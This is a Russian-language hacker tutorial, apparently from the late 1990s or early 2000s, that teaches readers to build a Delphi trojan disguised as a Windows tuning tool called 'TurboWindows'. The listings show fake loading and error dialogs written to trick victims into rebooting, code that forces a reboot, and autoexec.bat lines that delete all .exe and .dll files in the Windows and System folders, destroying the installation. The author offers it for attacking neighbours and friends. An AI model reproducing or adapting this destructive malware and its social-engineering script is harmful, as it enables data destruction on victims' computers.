Net Prosto aka Сергей Холодковский (dark4net@yandex.ru):
Начал я тут изучать Дэлфи... спасибо Horrific'у! Конечно начал писать проги которые не очень то нужны. Даже начал делать новый рабоий стол под 98-ые винды (к слову сказать я Линух не люблю. Не хочу я такой гипербраузер, но это совсем другая история). Летом, на даче, когда уехала моя девчонка, придумал я гениальный план, кодовое название "Киллер-прога". Приехал написал такую - и круто! А теперь расскажу что же это за программа. Вот приставь: скачал ты из Инета "рульную" утилиту для настройки Винды под названием TurboWindows (такое название у меня). Запускаешь, написано "Loading...", ждешь и вдруг вылетает ошибка и мастдай проситься перезагрузиться. Ты ребутишься и всё - Windows как не бывало :)! Кульно? Щаз мы с тобой такую прогу напишем!
Итак, писать мы будем всё это в Дэлфи 6, но теоретическии код должен скомпилиться и под 5. Сделай новую форму. Кинь рисунок и расстени его на всю формочку. На это форму кинь Guage, он (или она?) находиться в закладке Samples и таймер. Guage назови Konec. Так же положи на форму ещё объэкт Memo. И назови его Memo1. У тебя должно получиться что то типа:
Если что то не сходиться, пожмакай мышой по кнопкам, авось получиться :). Если ты читал статьи Horrific'а, то всё сделаеться без проблем. Всё графическая часть закончена. Начинаем программить.
ЛИСТИНГ 1
.....
var
a : Array[0..MAX_PATH] of char; //Всякие там переменные :)
win,sys:String;
.....
procedure TForm1.FormCreate(Sender: TObject);
begin
GetWindowsDirectory(a, sizeof(a)); //Спрашиваем у системы её положение
win:=a; //И записываем в переменную win
GetSystemDirectory(a, sizeof(a)); //Спрашиваем у системы папку SYSTEM
sys:=a; //И записываем в переменную sys
end;
С Листингом 1 я думаю всё понятно. Тут prosto. У системы спрашиваем положение папок windows и system и записываем их в переменные. Для чего? А что бы потом хорошо напакостить и не обломиться. Ты конечно можешь написать prosto, папка винда это Windows/ и папка систэм это Windows/System/ , но поверь у всех по разному. У меня например винда находиться в папке Angel :).
А теперь к Листингу 2. Вот что там происходит: открываеться Autoexec.bat в Memo1 , дописываються туда такие строчки:
@ECHO off //Что бы команды не были виндны. Будет видно только "файл *** удалён" :)
cd *** //Заходим в папку Винды
del *.exe //Удаляем экзешки
del *.dll //и ддлэки и то же происходит в папке System
cd ***
del *.exe
del *.dll
Звёздочками обозначенны папки System и Windows. Мы их узнаём из Листинга 1. Как ты знаешь (надеюсь) при загрузки винды загружаеться autoexec.bat, так вот если туда дописать выше указанные строчки, то винда не загрузиться. Что и требовалось доказать :). Но это ещё не всё.
ЛИСТИНГ 3
procedure RebootSystem;
var
handle, ph: THandle;
pid: DWORD;
luid: TLargeInteger;
dummy, priv: TOKEN_PRIVILEGES;
ver: TOSVERSIONINFO;
begin
ver.dwOSVersionInfoSize := Sizeof(ver);
GetVersionEx(ver);
if ver.dwPlatformId=VER_PLATFORM_WIN32_NT then
begin
pid := GetCurrentProcessId;
ph := OpenProcess(PROCESS_ALL_ACCESS, false, pid);
if OpenProcessToken(ph, TOKEN_ADJUST_PRIVILEGES, handle) then
if LookupPrivilegeValue(nil, 'SeShutdownPrivilege', luid) then
begin
priv.PrivilegeCount := 1;
priv.Privileges[0].Attributes := SE_PRIVILEGE_ENABLED;
priv.Privileges[0].Luid := luid;
AdjustTokenPrivileges(handle, false, priv, 0, dummy, pid);
end;
end;
ExitWindowsEx(EWX_REBOOT, 0);
end;
В Литинге 3 описана перезагрузка компа. Тут слишком много описывать так что prosto перепиши и надейся на меня :). Этот ребут нам пригодиться дальше.
ЛИСТИНГ 4
procedure TForm1.Timer1Timer(Sender: TObject);
var ExB:Word; // Переменная ExB, что бы узнать что нажал чел, "Да" или "Нет"
i:integer; //Переменная цикла
begin
randomize; //Что бы ошибки были случайные
Konec.Progress:=Konec.Progress+1; //Прибавляються проценты к загрузке
if Konec.Progress=49 then //Если процентов 49, то сделать...
BEGIN
Timer1.Enabled:=False; //Выключам таймер
ExB:=MessageBox(handle,pchar('При запуске программы, произошёл сбой в
системе Windows (Код ошибки 788. Сбой в секторе 0х0221432; 0х1395440;).
Возможны временные сбои в отдельный устройсвах. Перезагрузите компьютер!
Если сообщение возникнет снова, то обратитесь к разработчику ПО.'+
#13+#10+''+#13+#10+'Произвести перезагрузку сейчас?'),pchar('Сбой в системе Windows!'),
20);
if Exb=IDYES then
Begin
KillWin;
RebootSystem;
End; //Если пипл нажал "Да"
if Exb=IDNO then //Если нажал "Нет"
BEGIN
KillWin;
for i:=1 to 5 do //Выводиться 5 ошибок
MessageBox(handle,pchar('Не найден файл Kernel32.dll (Код ошибки 321, сбой в секторе 4х'+
inttostr(random(9999999))+'; 2х'+inttostr(random(9999999))+
';). Необходима перезагрузка Windows.'+#13+#10+''),pchar('Внимание!'),16);
close; //Выход из проги
END;
END;
end;
Листинг 4 уже посложнее, но ты справишься не волнуйся! И так при запуске проги стартует Таймер, он прибовляет по 1 проценту ,за каждую секунду, к загрузе. Когда процентов накопиться 49, вылетит ошибка. Она появляеться с помощью MessageBox. Там можешь написать всё что угодно, но что бы уговорить юзака сребутить комп. Если он нажмет "Да", то запуститься процесс KillWin и RebootSystem, т.е запориться Autoexec.bat и комп перезагрузиться. А если гадский ушастик жмакнет на кнопку "Нет", то вылетит пять (на твоё усмотрение) ошибок с разными секторами (глянь в листинг , видишь там написано random - это случайные ошибки) что бы натуральнее было:). После этого если да же юзер не перезагрузит комп, то autoexec.bat будет уже запорот, и всё сделает при следающей загрузки виндов.
Всё хорошо ты перепечатал но прога не запускаеться что же делать? Дабавь в uses, а лучше снова перепечатай:
Ну вот и всё. Надеюсь у тебя всё получилось и ты не сильно будешь получать за эту прогу от соседа/друга/подруги. Но помни что это наказуемо в РФ, вроде наказуемо.
p.s Интересно в ближайшем времене в инете много таких киллеров будет? Тогда лучше в инет я лазить не буду :).
p.p.s. Если чо не понял то пиши на dark4net@yandex.ru.